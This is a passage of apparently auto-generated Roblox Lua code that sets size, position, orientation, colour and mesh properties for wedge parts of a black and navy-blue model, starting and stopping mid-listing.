		WedgePart145.Rotation = Vector3.new(90, 0, 179.919998)
		WedgePart145.Anchored = true
		WedgePart145.CanCollide = false
		WedgePart145.Size = Vector3.new(0.200395763, 0.405991018, 0.36154747)
		WedgePart145.CFrame = CFrame.new(85.182373, 3.30695724, 71.6614609, -0.999999046, -0.00144700008, 1.60951686e-06, -1.6037302e-06, -3.98606062e-06, -1, 0.00144700019, -0.999999046, 4.00096178e-06)
		WedgePart145.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart145.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart145.Position = Vector3.new(85.182373, 3.30695724, 71.6614609)
		WedgePart145.Orientation = Vector3.new(90, -179.919998, 0)
		WedgePart145.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart146.Parent = Model111
		WedgePart146.Material = Enum.Material.SmoothPlastic
		WedgePart146.BrickColor = BrickColor.new("Really black")
		WedgePart146.Rotation = Vector3.new(-90, 0, 0.0799999982)
		WedgePart146.Anchored = true
		WedgePart146.CanCollide = false
		WedgePart146.Size = Vector3.new(0.200395763, 0.405991018, 1.16122246)
		WedgePart146.CFrame = CFrame.new(85.182373, 2.54558897, 71.6615067, 0.999999046, -0.00144700008, -1.60964339e-06, 1.6037302e-06, -4.07546759e-06, 1, -0.00144700019, -0.999999046, -4.07546759e-06)
		WedgePart146.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart146.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart146.Position = Vector3.new(85.182373, 2.54558897, 71.6615067)
		WedgePart146.Orientation = Vector3.new(-90, 0.0799999982, 0)
		WedgePart146.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart147.Parent = Model111
		WedgePart147.Material = Enum.Material.SmoothPlastic
		WedgePart147.BrickColor = BrickColor.new("Really black")
		WedgePart147.Rotation = Vector3.new(90, 0.0199999996, 179.970001)
		WedgePart147.Anchored = true
		WedgePart147.CanCollide = false
		WedgePart147.Size = Vector3.new(0.200154141, 0.216064483, 0.35271439)
		WedgePart147.CFrame = CFrame.new(85.1822052, 3.47046447, 71.7563477, -0.999999762, -0.000570286938, 0.000350898132, -0.000350895803, -4.10526991e-06, -0.99999994, 0.000570288335, -1, 3.91341746e-06)
		WedgePart147.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart147.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart147.Position = Vector3.new(85.1822052, 3.47046447, 71.7563477)
		WedgePart147.Orientation = Vector3.new(89.9800034, 89.3600006, -90.6699982)
		WedgePart147.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart148.Parent = Model111
		WedgePart148.Material = Enum.Material.SmoothPlastic
		WedgePart148.BrickColor = BrickColor.new("Really black")
		WedgePart148.Rotation = Vector3.new(-90, -0.0199999996, 0.0299999993)
		WedgePart148.Anchored = true
		WedgePart148.CanCollide = false
		WedgePart148.Size = Vector3.new(0.200154141, 0.216064483, 1.32918274)
		WedgePart148.CFrame = CFrame.new(85.1824951, 2.62952924, 71.7563782, 0.999999762, -0.000570286938, -0.000350898161, 0.000350895803, -4.18163836e-06, 1, -0.000570288335, -0.99999994, -4.00096178e-06)
		WedgePart148.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart148.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart148.Position = Vector3.new(85.1824951, 2.62952924, 71.7563782)
		WedgePart148.Orientation = Vector3.new(-90, 0.0299999993, 0)
		WedgePart148.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart149.Parent = Model111
		WedgePart149.Material = Enum.Material.SmoothPlastic
		WedgePart149.BrickColor = BrickColor.new("Really black")
		WedgePart149.Rotation = Vector3.new(180, -0.0500000007, 179.869995)
		WedgePart149.Anchored = true
		WedgePart149.CanCollide = false
		WedgePart149.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart149.CFrame = CFrame.new(85.1814804, 3.09614229, 71.7310715, -0.999997199, -0.00224562106, -0.000807990902, -0.00224561989, 0.999997437, -2.03587115e-06, 0.000807993289, -2.16066837e-07, -0.999999762)
		WedgePart149.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart149.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart149.Position = Vector3.new(85.1814804, 3.09614229, 71.7310715)
		WedgePart149.Orientation = Vector3.new(0, -179.949997, -0.129999995)
		WedgePart149.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh150.Parent = WedgePart149
		SpecialMesh150.Scale = Vector3.new(1.01091325, 0.337860286, 2.69684029)
		SpecialMesh150.MeshType = Enum.MeshType.Wedge
		SpecialMesh150.Scale = Vector3.new(1.01091325, 0.337860286, 2.69684029)
		WedgePart151.Parent = Model111
		WedgePart151.Material = Enum.Material.SmoothPlastic
		WedgePart151.BrickColor = BrickColor.new("Really black")
		WedgePart151.Rotation = Vector3.new(0, 0.0500000007, 0.129999995)
		WedgePart151.Anchored = true
		WedgePart151.CanCollide = false
		WedgePart151.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart151.CFrame = CFrame.new(85.1811905, 3.09613752, 71.3675842, 0.999997199, -0.00224562106, 0.000807990727, 0.00224561989, 0.999997437, 2.12527812e-06, -0.000807993289, -3.05473804e-07, 0.999999821)
		WedgePart151.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart151.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart151.Position = Vector3.new(85.1811905, 3.09613752, 71.3675842)
		WedgePart151.Orientation = Vector3.new(0, 0.0500000007, 0.129999995)
		WedgePart151.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh152.Parent = WedgePart151
		SpecialMesh152.Scale = Vector3.new(1.01091325, 0.337860286, 0.938338399)
		SpecialMesh152.MeshType = Enum.MeshType.Wedge
		SpecialMesh152.Scale = Vector3.new(1.01091325, 0.337860286, 0.938338399)
		WedgePart153.Parent = Model111
		WedgePart153.Material = Enum.Material.SmoothPlastic
		WedgePart153.BrickColor = BrickColor.new("Navy blue")
		WedgePart153.Rotation = Vector3.new(86.8799973, 15.1499996, -7.48000002)
		WedgePart153.Anchored = true
		WedgePart153.CanCollide = false
		WedgePart153.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart153.CFrame = CFrame.new(84.1446457, 4.05169582, 70.7639236, 0.957038879, 0.125684932, 0.261304408, 0.251607925, 0.087944001, -0.963825464, -0.144118473, 0.988164604, 0.0525425151)
		WedgePart153.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart153.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart153.Position = Vector3.new(84.1446457, 4.05169582, 70.7639236)
		WedgePart153.Orientation = Vector3.new(74.5400009, 78.6299973, 70.7300034)
		WedgePart153.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh154.Parent = WedgePart153
		SpecialMesh154.Scale = Vector3.new(3.79249001, 0.477633595, 0.0880769417)
		SpecialMesh154.MeshType = Enum.MeshType.Wedge
		SpecialMesh154.Scale = Vector3.new(3.79249001, 0.477633595, 0.0880769417)
		WedgePart155.Parent = Model111
		WedgePart155.Material = Enum.Material.SmoothPlastic
		WedgePart155.BrickColor = BrickColor.new("Navy blue")
		WedgePart155.Rotation = Vector3.new(-173.649994, 48.3899994, -169.940002)
		WedgePart155.Anchored = true
		WedgePart155.CanCollide = false
		WedgePart155.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart155.CFrame = CFrame.new(84.4218597, 4.16451406, 70.582016, -0.65387702, 0.11601074, 0.747653902, 0.254984111, 0.964155555, 0.073397398, -0.712339818, 0.238632768, -0.660020113)
		WedgePart155.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart155.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart155.Position = Vector3.new(84.4218597, 4.16451406, 70.582016)
		WedgePart155.Orientation = Vector3.new(-4.21000004, 131.440002, 14.8100004)
		WedgePart155.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh156.Parent = WedgePart155
		SpecialMesh156.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
		SpecialMesh156.MeshType = Enum.MeshType.Wedge
		SpecialMesh156.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
		WedgePart157.Parent = Model111
		WedgePart157.Material = Enum.Material.SmoothPlastic
		WedgePart157.BrickColor = BrickColor.new("Navy blue")
		WedgePart157.Rotation = Vector3.new(6.3499999, -48.3899994, -10.0600004)
		WedgePart157.Anchored = true
		WedgePart157.CanCollide = false
		WedgePart157.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart157.CFrame = CFrame.new(84.4620514, 4.16846418, 70.5465317, 0.65387702, 0.116010807, -0.747653902, -0.254984111, 0.964155555, -0.0733973011, 0.712339818, 0.238632709, 0.660020053)
		WedgePart157.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart157.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart157.Position = Vector3.new(84.4620514, 4.16846418, 70.5465317)
		WedgePart157.Orientation = Vector3.new(4.21000004, -48.5600014, -14.8100004)
		WedgePart157.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh158.Parent = WedgePart157
		SpecialMesh158.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
		SpecialMesh158.MeshType = Enum.MeshType.Wedge
		SpecialMesh158.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
		WedgePart159.Parent = Model111
		WedgePart159.Material = Enum.Material.SmoothPlastic
		WedgePart159.BrickColor = BrickColor.new("Navy blue")
		WedgePart159.Rotation = Vector3.new(90, -9.51000023, 38.2000008)
		WedgePart159.Anchored = true
		WedgePart159.CanCollide = false
		WedgePart159.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart159.CFrame = CFrame.new(84.0250778, 4.48755217, 70.9831467, 0.775091887, -0.609853208, -0.16526258, -0.129877046, 0.102194309, -0.986249685, 0.618356287, 0.785897911, 4.05497849e-06)
		WedgePart159.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart159.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart159.Position = Vector3.new(84.0250778, 4.48755217, 70.9831467)
		WedgePart159.Orientation = Vector3.new(80.4899979, -90, -51.7999992)
		WedgePart159.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh160.Parent = WedgePart159
		SpecialMesh160.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
		SpecialMesh160.MeshType = Enum.MeshType.Wedge
		SpecialMesh160.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
		WedgePart161.Parent = Model111
		WedgePart161.Material = Enum.Material.SmoothPlastic
		WedgePart161.BrickColor = BrickColor.new("Navy blue")
		WedgePart161.Rotation = Vector3.new(-90, 9.51000023, 141.800003)
		WedgePart161.Anchored = true
		WedgePart161.CanCollide = false
		WedgePart161.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart161.CFrame = CFrame.new(83.9779968, 4.20658875, 70.9831314, -0.775091887, -0.609853208, 0.165262535, 0.129877046, 0.10219422, 0.986249685, -0.618356287, 0.785897911, -3.98047268e-06)
		WedgePart161.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart161.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart161.Position = Vector3.new(83.9779968, 4.20658875, 70.9831314)
		WedgePart161.Orientation = Vector3.new(-80.4899979, 90, 51.7999992)
		WedgePart161.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh162.Parent = WedgePart161
		SpecialMesh162.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
		SpecialMesh162.MeshType = Enum.MeshType.Wedge
		SpecialMesh162.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
		WedgePart163.Parent = Model111
		WedgePart163.Material = Enum.Material.SmoothPlastic
		WedgePart163.BrickColor = BrickColor.new("Navy blue")
		WedgePart163.Rotation = Vector3.new(-173.649994, -9.22999954, -169.990005)
		WedgePart163.Anchored = true
		WedgePart163.CanCollide = false
		WedgePart163.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart163.CFrame = CFrame.new(84.1072159, 4.18705034, 70.8189468, -0.972012162, 0.171640545, -0.16041176, 0.155350938, 0.981806695, 0.109186664, 0.176234171, 0.0812106356, -0.980992436)
		WedgePart163.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart163.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart163.Position = Vector3.new(84.1072159, 4.18705034, 70.8189468)
		WedgePart163.Orientation = Vector3.new(-6.26999998, -170.710007, 8.98999977)
		WedgePart163.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh164.Parent = WedgePart163
		SpecialMesh164.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
		SpecialMesh164.MeshType = Enum.MeshType.Wedge
		SpecialMesh164.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
		WedgePart165.Parent = Model111
		WedgePart165.Material = Enum.Material.SmoothPlastic
		WedgePart165.BrickColor = BrickColor.new("Navy blue")
		WedgePart165.Rotation = Vector3.new(6.3499999, 9.22999954, -10.0100002)
		WedgePart165.Anchored = true
		WedgePart165.CanCollide = false
		WedgePart165.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart165.CFrame = CFrame.new(84.0994263, 4.19235182, 70.7712784, 0.972012162, 0.171640515, 0.160411775, -0.155350938, 0.981806695, -0.10918659, -0.176234171, 0.0812105462, 0.980992496)
		WedgePart165.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart165.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart165.Position = Vector3.new(84.0994263, 4.19235182, 70.7712784)
		WedgePart165.Orientation = Vector3.new(6.26999998, 9.28999996, -8.98999977)
		WedgePart165.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh166.Parent = WedgePart165
		SpecialMesh166.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
		SpecialMesh166.MeshType = Enum.MeshType.Wedge
		SpecialMesh166.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
		WedgePart167.Parent = Model111
		WedgePart167.Material = Enum.Material.SmoothPlastic
		WedgePart167.BrickColor = BrickColor.new("Navy blue")
		WedgePart167.Rotation = Vector3.new(173.649994, -48.3899994, -169.940002)
		WedgePart167.Anchored = true
		WedgePart167.CanCollide = false
		WedgePart167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart167.CFrame = CFrame.new(84.4638138, 4.16846514, 71.6982422, -0.653876841, 0.116011359, -0.747654021, 0.254989713, 0.964153886, -0.0734017119, 0.712337971, -0.238639727, -0.660019517)
		WedgePart167.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart167.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart167.Position = Vector3.new(84.4638138, 4.16846514, 71.6982422)
		WedgePart167.Orientation = Vector3.new(4.21000004, -131.440002, 14.8100004)
		WedgePart167.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh168.Parent = WedgePart167
		SpecialMesh168.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
		SpecialMesh168.MeshType = Enum.MeshType.Wedge
		SpecialMesh168.Scale = Vector3.new(4.00483942, 2.83606482, 0.267972648)
		WedgePart169.Parent = Model111
		WedgePart169.Material = Enum.Material.SmoothPlastic
		WedgePart169.BrickColor = BrickColor.new("Navy blue")
		WedgePart169.Rotation = Vector3.new(173.649994, 9.22999954, -169.990005)
		WedgePart169.Anchored = true
		WedgePart169.CanCollide = false
		WedgePart169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart169.CFrame = CFrame.new(84.1011887, 4.19235182, 71.4734879, -0.972012162, 0.171640277, 0.16041179, 0.155349508, 0.981806219, -0.109193146, -0.176235214, -0.0812171847, -0.980991721)
		WedgePart169.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart169.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart169.Position = Vector3.new(84.1011887, 4.19235182, 71.4734879)
		WedgePart169.Orientation = Vector3.new(6.26999998, 170.710007, 8.98999977)
		WedgePart169.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh170.Parent = WedgePart169
		SpecialMesh170.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
		SpecialMesh170.MeshType = Enum.MeshType.Wedge
		SpecialMesh170.Scale = Vector3.new(2.80837536, 2.83567548, 0.273714751)
		WedgePart171.Parent = Model111
		WedgePart171.Material = Enum.Material.SmoothPlastic
		WedgePart171.BrickColor = BrickColor.new("Navy blue")
		WedgePart171.Rotation = Vector3.new(90, -9.51000023, 141.800003)
		WedgePart171.Anchored = true
		WedgePart171.CanCollide = false
		WedgePart171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart171.CFrame = CFrame.new(84.0268402, 4.48755026, 71.2616348, -0.775091708, -0.609853506, -0.16526255, 0.129881904, 0.102188051, -0.986249685, 0.618355632, -0.785898507, 3.83146107e-06)
		WedgePart171.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart171.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart171.Position = Vector3.new(84.0268402, 4.48755026, 71.2616348)
		WedgePart171.Orientation = Vector3.new(80.4899979, -90, 51.8100014)
		WedgePart171.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh172.Parent = WedgePart171
		SpecialMesh172.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
		SpecialMesh172.MeshType = Enum.MeshType.Wedge
		SpecialMesh172.Scale = Vector3.new(1.85473442, 0.0282498114, 0.0053952313)
		WedgePart173.Parent = Model111
		WedgePart173.Material = Enum.Material.SmoothPlastic
		WedgePart173.BrickColor = BrickColor.new("Navy blue")
		WedgePart173.Rotation = Vector3.new(-6.3499999, -9.22999954, -10.0100002)
		WedgePart173.Anchored = true
		WedgePart173.CanCollide = false
		WedgePart173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart173.CFrame = CFrame.new(84.1089783, 4.18705225, 71.4258041, 0.972012162, 0.171640292, -0.160411775, -0.155349508, 0.981806219, 0.109193236, 0.176235214, -0.0812172741, 0.980991721)
		WedgePart173.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart173.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart173.Position = Vector3.new(84.1089783, 4.18705225, 71.4258041)
		WedgePart173.Orientation = Vector3.new(-6.26999998, -9.28999996, -8.98999977)
		WedgePart173.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh174.Parent = WedgePart173
		SpecialMesh174.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
		SpecialMesh174.MeshType = Enum.MeshType.Wedge
		SpecialMesh174.Scale = Vector3.new(2.80837536, 2.83567548, 0.212128252)
		WedgePart175.Parent = Model111
		WedgePart175.Material = Enum.Material.SmoothPlastic
		WedgePart175.BrickColor = BrickColor.new("Navy blue")
		WedgePart175.Rotation = Vector3.new(-90, 9.51000023, 38.2000008)
		WedgePart175.Anchored = true
		WedgePart175.CanCollide = false
		WedgePart175.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart175.CFrame = CFrame.new(83.9797592, 4.20658875, 71.2616196, 0.775091708, -0.609853506, 0.165262491, -0.129881904, 0.102187976, 0.986249685, -0.618355632, -0.785898507, -3.89106572e-06)
		WedgePart175.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart175.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart175.Position = Vector3.new(83.9797592, 4.20658875, 71.2616196)
		WedgePart175.Orientation = Vector3.new(-80.4899979, 90, -51.8100014)
		WedgePart175.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh176.Parent = WedgePart175
		SpecialMesh176.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
		SpecialMesh176.MeshType = Enum.MeshType.Wedge
		SpecialMesh176.Scale = Vector3.new(1.85473442, 0.0282498114, 2.84345865)
		WedgePart177.Parent = Model111
		WedgePart177.Material = Enum.Material.SmoothPlastic
		WedgePart177.BrickColor = BrickColor.new("Navy blue")
		WedgePart177.Rotation = Vector3.new(-6.3499999, 48.3899994, -10.0600004)
		WedgePart177.Anchored = true
		WedgePart177.CanCollide = false
		WedgePart177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart177.CFrame = CFrame.new(84.4236221, 4.16451979, 71.6627731, 0.653876841, 0.116011299, 0.74765408, -0.254989713, 0.964153886, 0.0734018013, -0.712337971, -0.238639787, 0.660019517)
		WedgePart177.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart177.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart177.Position = Vector3.new(84.4236221, 4.16451979, 71.6627731)
		WedgePart177.Orientation = Vector3.new(-4.21000004, 48.5600014, -14.8100004)
		WedgePart177.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh178.Parent = WedgePart177
		SpecialMesh178.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
		SpecialMesh178.MeshType = Enum.MeshType.Wedge
		SpecialMesh178.Scale = Vector3.new(4.00483942, 2.83606482, 0.269650221)
		WedgePart179.Parent = Model111
		WedgePart179.Material = Enum.Material.SmoothPlastic
		WedgePart179.BrickColor = BrickColor.new("Really black")
		WedgePart179.Rotation = Vector3.new(176.649994, -32.4300003, -16.2800007)
		WedgePart179.Anchored = true
		WedgePart179.CanCollide = false
		WedgePart179.Size = Vector3.new(0.501514971, 1.8123908, 0.540661097)
		WedgePart179.CFrame = CFrame.new(84.3812408, 3.16418386, 71.5519867, 0.810205579, 0.236556157, -0.536291003, 0.249728575, -0.967060745, -0.049287919, -0.530285299, -0.0939938203, -0.842592716)
		WedgePart179.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart179.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart179.Position = Vector3.new(84.3812408, 3.16418386, 71.5519867)
		WedgePart179.Orientation = Vector3.new(2.82999992, -147.520004, 165.520004)
		WedgePart179.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart180.Parent = Model111
		WedgePart180.Material = Enum.Material.SmoothPlastic
		WedgePart180.BrickColor = BrickColor.new("Really black")
		WedgePart180.Rotation = Vector3.new(-3.3499999, 32.4300003, -163.720001)
		WedgePart180.Anchored = true
		WedgePart180.CanCollide = false
		WedgePart180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart180.CFrame = CFrame.new(84.2144699, 3.1488595, 71.289978, -0.810205579, 0.236556113, 0.536291063, -0.249728575, -0.967060685, 0.0492878295, 0.530285299, -0.093993932, 0.842592835)
		WedgePart180.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart180.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart180.Position = Vector3.new(84.2144699, 3.1488595, 71.289978)
		WedgePart180.Orientation = Vector3.new(-2.82999992, 32.4799995, -165.520004)
		WedgePart180.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh181.Parent = WedgePart180
		SpecialMesh181.Scale = Vector3.new(2.5075748, 9.0619545, 0.406420559)
		SpecialMesh181.MeshType = Enum.MeshType.Wedge
		SpecialMesh181.Scale = Vector3.new(2.5075748, 9.0619545, 0.406420559)
		WedgePart182.Parent = Model111
		WedgePart182.Material = Enum.Material.SmoothPlastic
		WedgePart182.BrickColor = BrickColor.new("Navy blue")
		WedgePart182.Rotation = Vector3.new(93.3300018, 15.0900002, -174.039993)
		WedgePart182.Anchored = true
		WedgePart182.CanCollide = false
		WedgePart182.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart182.CFrame = CFrame.new(84.1439896, 4.05129576, 71.4676208, -0.960297585, 0.10023734, 0.260348022, -0.252465844, 0.0848200619, -0.963881016, -0.118699588, -0.991341591, -0.0561460108)
		WedgePart182.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart182.Color = Color3.new(0, 0.12549, 0.376471)
		WedgePart182.Position = Vector3.new(84.1439896, 4.05129576, 71.4676208)
		WedgePart182.Orientation = Vector3.new(74.5500031, 102.169998, -71.4300003)
		WedgePart182.Color = Color3.new(0, 0.12549, 0.376471)
		SpecialMesh183.Parent = WedgePart182
		SpecialMesh183.Scale = Vector3.new(3.76363802, 0.508730888, 0.0892680213)
		SpecialMesh183.MeshType = Enum.MeshType.Wedge
		SpecialMesh183.Scale = Vector3.new(3.76363802, 0.508730888, 0.0892680213)
		WedgePart184.Parent = Model111
		WedgePart184.Material = Enum.Material.SmoothPlastic
		WedgePart184.BrickColor = BrickColor.new("Really black")
		WedgePart184.Rotation = Vector3.new(-86.6699982, -15.0900002, -5.96000004)
		WedgePart184.Anchored = true
		WedgePart184.CanCollide = false
		WedgePart184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart184.CFrame = CFrame.new(84.3801498, 3.17696238, 71.4166794, 0.960297585, 0.100237362, -0.260347992, 0.252465844, 0.0848200023, 0.963881075, 0.118699588, -0.991341591, 0.0561459363)
		WedgePart184.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart184.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart184.Position = Vector3.new(84.3801498, 3.17696238, 71.4166794)
		WedgePart184.Orientation = Vector3.new(-74.5500031, -77.8300018, 71.4300003)
		WedgePart184.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh185.Parent = WedgePart184
		SpecialMesh185.Scale = Vector3.new(3.76363802, 0.508730888, 8.98179531)
		SpecialMesh185.MeshType = Enum.MeshType.Wedge
		SpecialMesh185.Scale = Vector3.new(3.76363802, 0.508730888, 8.98179531)
		WedgePart186.Parent = Model111
		WedgePart186.Material = Enum.Material.SmoothPlastic
		WedgePart186.BrickColor = BrickColor.new("Really black")
		WedgePart186.Rotation = Vector3.new(-176.649994, 32.4300003, -16.2099991)
		WedgePart186.Anchored = true
		WedgePart186.CanCollide = false
		WedgePart186.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart186.CFrame = CFrame.new(84.2128601, 3.14833856, 70.9510422, 0.810471892, 0.235643119, 0.536290646, 0.248642325, -0.967340946, 0.049282223, 0.530388892, 0.093402721, -0.842593253)
		WedgePart186.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart186.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart186.Position = Vector3.new(84.2128601, 3.14833856, 70.9510422)
		WedgePart186.Orientation = Vector3.new(-2.81999993, 147.520004, 165.580002)
		WedgePart186.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh187.Parent = WedgePart186
		SpecialMesh187.Scale = Vector3.new(2.49772358, 9.06096554, 0.438725233)
		SpecialMesh187.MeshType = Enum.MeshType.Wedge
		SpecialMesh187.Scale = Vector3.new(2.49772358, 9.06096554, 0.438725233)
		WedgePart188.Parent = Model111
		WedgePart188.Material = Enum.Material.SmoothPlastic
		WedgePart188.BrickColor = BrickColor.new("Really black")
		WedgePart188.Rotation = Vector3.new(-93.1200027, -15.1499996, -172.520004)
		WedgePart188.Anchored = true
		WedgePart188.CanCollide = false
		WedgePart188.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
		WedgePart188.CFrame = CFrame.new(84.3816833, 3.17736506, 70.8115616, -0.957038879, 0.125684962, -0.261304379, -0.251607925, 0.0879439265, 0.963825405, 0.144118473, 0.988164663, -0.0525424257)
		WedgePart188.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart188.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart188.Position = Vector3.new(84.3816833, 3.17736506, 70.8115616)
		WedgePart188.Orientation = Vector3.new(-74.5400009, -101.370003, -70.7300034)
		WedgePart188.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		SpecialMesh189.Parent = WedgePart188
		SpecialMesh189.Scale = Vector3.new(3.79249001, 0.477633595, 8.98350334)
		SpecialMesh189.MeshType = Enum.MeshType.Wedge
		SpecialMesh189.Scale = Vector3.new(3.79249001, 0.477633595, 8.98350334)
		WedgePart190.Parent = Model111
		WedgePart190.Material = Enum.Material.SmoothPlastic
		WedgePart190.BrickColor = BrickColor.new("Really black")
		WedgePart190.Rotation = Vector3.new(3.3499999, -32.4300003, -163.789993)
		WedgePart190.Anchored = true
		WedgePart190.CanCollide = false
		WedgePart190.Size = Vector3.new(0.49954474, 1.81219304, 0.534200132)
		WedgePart190.CFrame = CFrame.new(84.379631, 3.16365862, 70.689003, -0.810471892, 0.235643178, -0.536290705, -0.248642325, -0.967340887, -0.0492823087, -0.530388892, 0.093402639, 0.842593431)
		WedgePart190.BottomSurface = Enum.SurfaceType.Smooth
		WedgePart190.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		WedgePart190.Position = Vector3.new(84.379631, 3.16365862, 70.689003)
		WedgePart190.Orientation = Vector3.new(2.81999993, -32.4799995, -165.580002)
		WedgePart190.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
		Part191.Parent = Model111
		Part191.Material = Enum.Material.SmoothPlastic
		Part191.BrickColor = BrickColor.new("Bright blue")
		Part191.Reflectance = 0.20000000298023
		Part191.Rotation = Vector3.new(180, 0, 0)
		Part191.Anchored = true
		Part191.CanCollide = false
		Part191.FormFactor = Enum.FormFactor.Symmetric
		Part191.Size = Vector3.new(0.200000003, 0.289398372, 0.200000003)
